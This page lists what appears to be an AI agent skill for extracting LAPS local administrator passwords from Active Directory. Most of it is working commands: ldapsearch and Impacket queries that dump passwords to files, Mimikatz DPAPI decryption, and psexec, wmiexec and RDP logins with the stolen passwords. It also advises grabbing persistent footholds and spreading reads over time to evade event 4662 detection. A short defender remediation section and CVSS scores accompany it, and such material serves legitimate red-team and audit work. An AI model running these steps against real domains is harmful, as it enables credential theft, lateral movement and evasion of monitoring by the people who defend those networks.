laps

star 4.3k

Extract LAPS-managed local administrator passwords from AD computer objects (ms-Mcs-AdmPwd / msLAPS-Password).

PurpleAILAB By PurpleAILAB schedule Updated 6/2/2026

name: laps description: Extract LAPS-managed local administrator passwords from AD computer objects (ms-Mcs-AdmPwd / msLAPS-Password). metadata: subdomain: active-directory when_to_use: "laps local admin password ldap powerview netexec" mitre_attack: - T1555


LAPS Password Extraction

LAPS (Local Administrator Password Solution) stores randomized local admin passwords on computer objects in AD. Reading them requires ms-Mcs-AdmPwd (legacy) or msLAPS-Password (Windows LAPS) read permission — which is OFTEN over-delegated.

1. Detect LAPS deployment

# Legacy LAPS schema
ldapsearch -x -H ldap://DC_IP -D 'USER@DOM' -w 'PASS' \
  -b 'CN=Schema,CN=Configuration,DC=corp,DC=local' \
  '(name=ms-Mcs-AdmPwd)' name

# Windows LAPS (2023+)
ldapsearch ... '(name=msLAPS-Password)' name

# Either present = LAPS is deployed

2. Find delegated readers (your target ACL)

From BloodHound — anyone with ReadLAPSPassword edge:

MATCH (n)-[:ReadLAPSPassword]->(c:Computer)
RETURN DISTINCT n.name, c.name

Common over-delegation patterns:

  • "HelpDesk-LAPS-Read" groups granted to ALL computers
  • IT-Operations OUs reading their child OUs (then a flat OU = global)
  • Service accounts with GenericAll on Computer objects (implies LAPS read)

3. Read passwords (assuming you can)

# Direct LDAP query as authorized user
ldapsearch -x -H ldap://DC_IP -D 'USER@DOM' -w 'PASS' \
  -b 'DC=corp,DC=local' \
  '(&(objectClass=computer)(ms-Mcs-AdmPwd=*))' \
  name dNSHostName ms-Mcs-AdmPwd ms-Mcs-AdmPwdExpirationTime > /tmp/laps.txt

# Windows LAPS uses encrypted attribute by default
ldapsearch ... \
  '(&(objectClass=computer)(msLAPS-EncryptedPassword=*))' \
  name dNSHostName msLAPS-EncryptedPassword msLAPS-Password

Impacket helper:

# Recovers legacy LAPS
GetLAPSPassword.py 'DOM/USER:PASS@DC_FQDN' \
  -outputfile /tmp/laps.csv

# Newer Windows LAPS w/ encryption: use python-windows-laps or
# manual ASN.1 decode w/ user's DPAPI key

4. Bulk-process result

laps_ingest("/tmp/laps.txt")

This adds:

kg_add_node(kind="credential", label="<host>\\Administrator:<plain>",
            props={"source":"laps","host":"<host>","expires":"<date>"})
kg_add_edge(src=<cred>, dst=<computer>, kind="local-admin")

5. Cracking encrypted LAPS (Windows LAPS only)

Windows LAPS (server 2022+) encrypts the password with a per-principal DPAPI key derived from the AD-stored public key. To decrypt:

  • You need either the authorized principal's DPAPI master key (from their profile via Mimikatz dpapi::masterkey), or
  • The recovery key configured via Set-LAPSADAuditing policy

If neither, the msLAPS-EncryptedPassword blob is useless without context.

6. Authentication with LAPS pw

# SMB / WMI as local admin
psexec.py 'HOST\\Administrator:LAPS_PW@10.0.0.5'
wmiexec.py 'HOST\\Administrator:LAPS_PW@10.0.0.5'

# RDP
xfreerdp /u:Administrator /p:'LAPS_PW' /v:10.0.0.5 +clipboard

NOTE: LAPS rotates on a schedule (default 30 days). Use the pw quickly and grab a more durable foothold (cached creds, scheduled task, service account hash).

OPSEC

  • LDAP search for ms-Mcs-AdmPwd attribute is event 4662 on DC with object type Computer and Properties referencing the AdmPwd GUID
  • Detection signature: 4662 reading large numbers of computer objects for the AdmPwd attribute = LAPS scrape in progress
  • Spread reads over time, scope by OU not domain-wide

CVSS

  • Anyone in domain reading any LAPS pw: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H = 7.5
  • Over-delegated to wide group reading hundreds of hosts: 9.0 (scope: Changed)

Defender remediation

# Audit who can read LAPS pw on a Computer object
Get-ACL "AD:CN=HOST,OU=Servers,DC=dom,DC=local" |
  Select -ExpandProperty Access |
  Where {$_.ObjectType -eq '<AdmPwd-GUID>'} |
  Format-Table IdentityReference, ActiveDirectoryRights

# Remove over-delegated readers
$acl = Get-ACL "AD:CN=HOST,..."
$ace = New-Object DirectoryServices.ActiveDirectoryAccessRule(
  'DOM\HelpDeskGroup', 'ExtendedRight', 'Deny',
  '<AdmPwd-GUID>', 'Descendents', '<Computer-GUID>')
$acl.AddAccessRule($ace)
Set-ACL -Path "AD:CN=HOST,..." -AclObject $acl

# Or use the LAPS-shipped audit cmdlet
Find-AdmPwdExtendedRights -Identity 'OU=Servers,DC=dom,DC=local'

Known exemplars

  • 2018: HelpDeskTier1 group granted ReadLAPS at domain root by accident → entire estate compromised
  • 2021: Tenable Nessus default service account had LAPS read via GenericAll
  • 2023: Multiple ManageEngine deployments over-delegated LAPS to "AssetMgmt" service account
Install via CLI
npx skills add https://github.com/PurpleAILAB/Decepticon --skill laps
Repository Details
star Stars 4,323
call_split Forks 860
navigation Branch main
article Path SKILL.md
More from Creator